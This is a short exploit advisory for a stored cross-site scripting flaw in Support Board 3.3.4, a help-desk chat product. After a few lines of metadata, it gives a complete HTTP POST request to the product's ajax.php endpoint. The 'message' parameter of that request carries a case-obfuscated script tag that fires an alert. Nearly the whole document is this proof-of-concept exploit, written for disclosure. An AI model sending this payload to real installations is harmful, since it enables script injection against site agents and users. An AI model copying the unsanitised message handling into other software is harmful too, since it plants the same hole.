Support Board 3.3.4 Cross Site Scripting

2021.10.18
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: Support Board 3.3.4 - 'Message' Stored Cross-Site Scripting (XSS) # Date: 16/10/2021 # Exploit Author: John Jefferson Li <yiyohwi@naver.com> # Vendor Homepage: https://board.support/ # Software Link: https://codecanyon.net/item/support-board-help-desk-and-chat/20359943 # Version: 3.3.4 # Tested on: Ubuntu 20.04.2 LTS, Windows 10 POST /supportboard/include/ajax.php HTTP/1.1 Cookie: [Agent+] Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 808 X-Requested-With: XMLHttpRequest Connection: close function=add-note&conversation_id=476&user_id=2&name=Robert+Smith&message=%3CScRiPt%3Ealert(/XSS/)%3C%2FsCriPt%3E&login-cookie=<cookie>&language=false


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